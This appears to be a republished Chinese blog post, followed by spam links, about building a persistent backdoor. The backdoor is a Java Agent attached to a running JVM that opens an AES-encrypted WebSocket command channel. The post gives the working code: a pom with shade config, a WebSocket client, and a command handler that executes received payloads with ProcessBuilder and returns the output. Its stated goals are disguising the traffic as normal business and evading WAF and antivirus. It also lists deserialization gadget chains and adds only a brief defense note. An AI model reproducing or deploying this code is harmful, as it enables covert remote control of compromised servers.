当前位置: 首页 > wzjs >正文

网站开发的关键技术网站建设宁波

网站开发的关键技术,网站建设宁波,企业做网站需要的资料,极简网站模板Agent 如果要对其进行Agent注入的编写,需要先理解三个名字premain,agentmain,Instrumentation premain方法在 JVM 启动阶段调用,一般维持权限的时候不会使用 agentmain方法在 JVM 运行时调用 常用的 Instrumentation实例为代理…

Agent

如果要对其进行Agent注入的编写,需要先理解三个名字premain,agentmain,Instrumentation

premain方法在 JVM 启动阶段调用,一般维持权限的时候不会使用

agentmain方法在 JVM 运行时调用 常用的

Instrumentation实例为代理类提供了修改类字节码、监控类加载等功能

前言:为什么选择 Java Agent + WebSocket?

作为权限维持,落地的内存马容易被查杀到,使用Agent可以不改源码的前提下注入,监控,修改。

想法

看起来很正常的业务越不会被发现,甚至是对其进行替代

使用 java.lang.instrument 方式编写 Agent

利用 VirtualMachine.attach 动态挂载 agent,实现对正在运行的 Java 进程注入 WebSocket 后门

利用AES进行数据加密命令加密

长期维持通信信道

如果遇见自带有websocket的可以直接使用现有通信通道

可植入现有业务流程之中(如用户聊天系统、推送系统中)

配合 WebSocket 协议绕 WAF

注入的流程

连接注入JVM

静态注入容易被检测,所以我们采取动态注入,也就是在JVM运行的时候进行注入

VirtualMachine vm = VirtualMachine.attach(pid);
//pid是JVM所在的服务,整个操作是连接JVM
vm.loadAgent(agentPath);//agentPath是你要注入的agent的jar包
WebScoket C2

制作WebSocket的步骤

参考一下我的pom

    <dependencies><dependency><groupId>org.glassfish.tyrus</groupId><artifactId>tyrus-server</artifactId><version>2.1.1</version></dependency><dependency><groupId>org.json</groupId><artifactId>json</artifactId><version>20210307</version></dependency><dependency><groupId>org.java-websocket</groupId><artifactId>Java-WebSocket</artifactId><version>1.5.2</version></dependency></dependencies>

比较重要的是,有一些依赖需要直接跟随打包

<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>3.2.4</version><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><manifestEntries><Premain-Class>org.example.MyAgent</Premain-Class><Agent-Class>org.example.MyAgent</Agent-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></transformer></transformers></configuration></execution></executions></plugin></plugins>
</build>
<!--  里面的属性数据需要根据自己需求来修改  -->
Websocket管理器(看起来像正常业务)
package org.example;import java.util.Base64;public class WSManager {private static WSClient client;public static void setClient(WSClient c) {client = c;}public static void sendEncrypted(String plaintext) {try {byte[] encrypted = AES.encrypt(plaintext, "1234567890abcdef");client.send(Base64.getEncoder().encodeToString(encrypted));} catch (Exception ignored) {}}
}

上面代码主要的作用是对其进行数据发送加密处理

package org.example;import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;import java.net.URI;public class WSClient extends WebSocketClient {public WSClient(URI serverUri) {super(serverUri);}@Overridepublic void onOpen(ServerHandshake handshakedata) {WSManager.setClient(this);}@Overridepublic void onMessage(String message) {CommandHandler.handle(message);}@Overridepublic void onClose(int code, String reason, boolean remote) {}@Overridepublic void onError(Exception ex) {ex.printStackTrace();}
}
//简单的一个客户端的样子
命令执行部分CommandHandler
package org.example;import org.json.JSONObject;import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.stream.Collectors;public class CommandHandler {public static void handle(String msg) {try {String json = AES.decrypt(Base64.getDecoder().decode(msg), "1234567890abcdef");//先对其进行解密JSONObject obj = new JSONObject(json);String type = obj.getString("type");String payload = obj.getString("payload");//对其进行json处理,像正常业务if ("exec".equals(type)) {ProcessBuilder pb = new ProcessBuilder(payload.split(" "));pb.redirectErrorStream(true);//命令执行String result = new BufferedReader(new InputStreamReader(pb.start().getInputStream())).lines().collect(Collectors.joining("\n"));//正常返回结果JSONObject res = new JSONObject();res.put("type", "result");res.put("payload", result);WSManager.sendEncrypted(res.toString());//加密返回}} catch (Exception ignored) {ignored.printStackTrace();}}
}
数据包部分

这是在执行命令并且返回回来后的数据包,除了发送命令过去的时候会是明文,但也可以对其进行修改

从数据包中,看不出什么异常,避免了WAF的检测

拓展

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
Object cmdObj = ois.readObject();
//如果觉得这样的执行可能被检测到
//CC链
BadAttributeValueExpException-> toString()-> Transformer (InvokerTransformer)-> Runtime.getRuntime().exec()//Spring BeanFactory
TemplatesImpl-> getOutputProperties()-> 触发字节码加载-> 加载恶意类字节码
//JDBC
JdbcRowSetImpl-> setDataSourceName("rmi://xxxxxx/obj")-> getDatabaseMetaData()-> JNDI 注入

防御

JVM添加参数

-Djdk.attach.allowAttachSelf=false

移除 JVM 的 Attach 功能

$JAVA_HOME/lib/tools.jar
$JAVA_HOME/lib/libattach.so   (Linux)
$JAVA_HOME/jre/lib/libattach.dylib (macOS)

运行截图

先启动了监听端

添加了一部分输出,让其更明显

免杀效果?


文章转载自:

http://6v6Do5Ch.zbkwj.cn
http://ECFGrmLf.zbkwj.cn
http://WlWSU1PF.zbkwj.cn
http://an3qEHvU.zbkwj.cn
http://q2YcKBWM.zbkwj.cn
http://37Rye3eP.zbkwj.cn
http://R0qxRYIZ.zbkwj.cn
http://lcAqBR0x.zbkwj.cn
http://jzCjHBqf.zbkwj.cn
http://H9S8Uuc9.zbkwj.cn
http://4ae7ZUmk.zbkwj.cn
http://qNBSKxIy.zbkwj.cn
http://vt4j6d9w.zbkwj.cn
http://Gdcj9xnG.zbkwj.cn
http://vCWAIO9M.zbkwj.cn
http://wlHHFKz8.zbkwj.cn
http://s8D06Pz2.zbkwj.cn
http://ugkJQ1Il.zbkwj.cn
http://N8tnPEHg.zbkwj.cn
http://RQhWD2r1.zbkwj.cn
http://6vh2c1vp.zbkwj.cn
http://S9CrL6hU.zbkwj.cn
http://U24DhNca.zbkwj.cn
http://ofQWcNj9.zbkwj.cn
http://2GqVWukE.zbkwj.cn
http://PPI5SxyH.zbkwj.cn
http://mGHY9RL4.zbkwj.cn
http://WBUyzThE.zbkwj.cn
http://Qos2abk8.zbkwj.cn
http://4I9kihsS.zbkwj.cn
http://www.dtcms.com/wzjs/751287.html

相关文章:

  • 苏州有哪些做网站哈尔滨cms网站建设
  • 谁能低价做网站支付接口制作深圳网站建设
  • j网站开发的相关知识南通网站建设苏鹏网络
  • 衡阳网站建设公司地址wordpress相关文章小工具
  • 网站开发 前端vue 后端cwordpress添加表情
  • 怎么创建网站页面淘宝seo优化排名
  • 网站搭建网站制作网站模板对seo的影响
  • 扫二维码做自己网站一起秀h5怎么制作
  • 企业网站源码 vue外贸平台阿里巴巴补贴政策
  • 内网网站建设网页版面设计包括什么内容
  • 建设工程监理网站网络推广教育机构
  • 做华为网站的还有哪些wordpress简单企业站
  • 济南简单的网站制作做字体特效的网站
  • 自学网网站学校网站建设 分工
  • 网站建设法律可行性唐山网站制作工具
  • 大气好看的网站黄金交易平台app
  • 网站标签优化网站建设合作协议申请
  • 做资源网站违法吗做网站特别简单的软件
  • wordpress查看自己网站的ip量微站设计
  • 马云有没有学过做网站wordpress 评论回复插件
  • 深圳网站推广活动方案购物网站的商品展示模块
  • 商城建网站wordpress会员上限
  • 英文专业的网站设计大连三合一网站制作
  • 在什么网站上做自媒体青岛市建筑工程管理服务中心
  • 合肥专业网站优化价格珍爱网征婚免费下载
  • php网站绑定域名网络服务器的作用
  • iis7 网站无法显示该页面营销网站建设收费
  • 做网站租什么服务器自定义网站建站公司
  • 如何制作课程网站模板擼擼擼做最好的导航网站
  • 东莞网站设计教程泰安网络信息化建设